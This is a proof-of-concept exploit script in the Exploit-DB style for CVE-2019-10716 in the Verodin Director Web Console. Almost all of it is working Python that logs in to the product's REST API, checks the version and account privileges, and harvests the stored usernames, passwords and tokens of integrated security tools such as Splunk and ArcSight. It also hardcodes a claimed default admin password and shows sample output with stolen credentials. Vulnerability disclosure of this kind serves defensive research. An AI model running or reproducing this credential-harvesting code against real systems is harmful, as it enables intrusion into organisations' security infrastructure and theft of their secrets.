# Exploit Title: Verodin Director Web Console 3.5.4.0 - Remote Authenticated Password Disclosure (PoC)
# Discovery Date: 2019-01-31
# Exploit Author: Nolan B. Kennedy (nxkennedy)
# Vendor Homepage: https://www.verodin.com/
# Software Link : https://www.verodin.com/demo-request/demo-request-form
# Tested Versions: v3.5.1.0, v3.5.2.0, v3.5.3.1
# Tested On: Windows
# CVE: CVE-2019-10716
# Vulnerability Type: Sensitive Data Disclosure
###
# Description: Verodin Director's REST API allows authenticated users to query the configuration
# details, which include credentials, of any 50+ possible integrated security tools (e.g. Splunk, ArcSight, Palo Alto, AWS Cloud Trail).
# Fortunately for attackers, members of 3 out of the 4 user groups in the Director can query this info (Users, Power Users, System Admin).
#
# API Request: GET https://<director-ip>/integrations.json
#
# Usage: python3 script.py
#
# Example Output:
#
# -- VERODIN DIRECTOR WEB CONSOLE < V3.5.4.0 - REMOTE AUTHENTICATED PASSWORD DISCLOSURE (POC) --
# -- Author: Nolan B. Kennedy (nxkennedy) --
#
#
# [+] Director Version
# =====================
# [*] Detected version 3.5.1.0 is VULNERABLE! :)
#
#
# [+] Account Permissions
# ========================
# [*] "admin@verodin.com" is a member of "System Admin"
#
#
# [+] Verodin Integrations
# =========================
# [*] Product: splunk
# [*] Username: splunk_svc_acct
# [*] Misc (may include credentials): [{'scheme': 'https', 'basic': False, 'password': 'Sup3rP@ssw0rd',
# 'port': 8089, 'host': '10.0.0.6', 'username': 'splunk_svc_acct'},
# {'proxy_hash': None}]
#
# [*] Product: arcsight
# [*] Username: arcsight_admin
# [*] Misc (may include credentials): ['10.0.0.7', 8443, 'https', 'arcsight_admin', 'Sup3rP@ssw0rd',
# "/All Filters/Personal/integration_user's filters/Verodin Filter", 'Verodin Query Viewer', 60]
#
# [+] Done!
###
import base64
from distutils.version import LooseVersion
import json
import re
import ssl
from sys import exit
from time import sleep
import urllib.request
verodin_ip = '0.0.0.0'
# Default System Admin creds. Worth a try.
username = 'admin@verodin.com'
password = 'Ver0d!nP@$$'
base_url = 'https://{}'.format(verodin_ip)
fixed_version = '3.5.4.0'
# We'll be making 3 different requests so we need a web handling function
def requests(target, html=False):
url = base_url + target
context = ssl._create_unverified_context() # so we don't get an ssl cert error
req = urllib.request.Request(url)
credentials = ('{}:{}'.format(username, password))
encoded_credentials = base64.b64encode(credentials.encode('ascii'))
req.add_header('Authorization', 'Basic %s' % encoded_credentials.decode("ascii")) # use %s instead of format because errors
r = urllib.request.urlopen(req, context=context)
content = r.read().decode('utf-8')
if r.getcode() == 200:
# we don't always get a 401 if auth fails
if 'Cookies need to be enabled' in content:
print('[!] Failed to retrieve data: Credentials incorrect/invalid')
print()
print('[!] Exiting...')
exit(1)
elif html:
blob = content
else:
blob = json.loads(content)
return blob
elif r.getcode() == 401:
print('[!] Failed to retrieve data: Credentials incorrect/invalid')
print()
print('[!] Exiting...')
exit(1)
else:
print('[!] ERROR: Status Code {}'.format(r.getcode()))
exit(1)
# Do we have permissions to retrieve the creds?
def getUserPerms():
target = '/users/user_prefs.json'
r = requests(target) # returns a single json dict
print('\n[+] Account Permissions')
print('========================')
group_id = r['user_group_id']
roles = {'Reporting': 4, 'Users': 3, 'Power Users': 2, 'System Admin': 1}
for role,value in roles.items():
if group_id == value:
print('[*] "{}" is a member of "{}"'.format(username, role))
print()
if group_id == 4:
print('[!] This account does not have sufficient privs. You need "Users" or higher.')
print()
print('[!] Exiting...')
exit(1)
sleep(0.5)
# We need to verify the target Director is running a vulnerable version
def checkVuln():
target = '/settings/system'
r = requests(target, html=True)
field = re.search(r'Director\sVersion:.*', r)
version = field.group().split('<')[0].split(" ")[2]
print('\n[+] Director Version')
print('=====================')
if LooseVersion(version) < LooseVersion(fixed_version):
print('[*] Detected version {} is VULNERABLE! :)'.format(version))
print()
else:
print('[!] Detected version {} is not vulnerable. Must be < {}'.format(version, fixed_version))
print()
print('[!] Exiting...')
sleep(0.5)
# Where we parse out any creds or other useful info
def getLoot():
target = '/integrations.json'
r = requests(target) # a list of json dicts
print('\n[+] Verodin Integrations')
print('=========================')
if not r:
print('[+] Dang! No integrations configured in this Director :(')
print()
else:
for integration in r:
product = integration['package_name'] # constant key
misc = integration.get('new_client_args') # we use .get to return a None type if the key doesn't exist
user = integration.get('username')
passw = integration.get('password')
token = integration.get('auth_token')
print('[*] Product: {}'.format(product))
if user:
print('[*] Username: {}'.format(user))
if passw:
print('[*] Password: {}'.format(passw))
if token and token is not 'null':
print('[*] Auth Token: {}'.format(token))
if misc:
print('[*] Misc (may include credentials): {}'.format(misc))
print()
sleep(0.5)
def main():
print('\n-- Verodin Director Web Console < v3.5.4.0 - Remote Authenticated Password Disclosure (PoC) --'.upper())
print('-- Author: Nolan B. Kennedy (nxkennedy) --')
print()
checkVuln()
getUserPerms()
getLoot()
print('[+] Done!')
if __name__ == '__main__':
main()
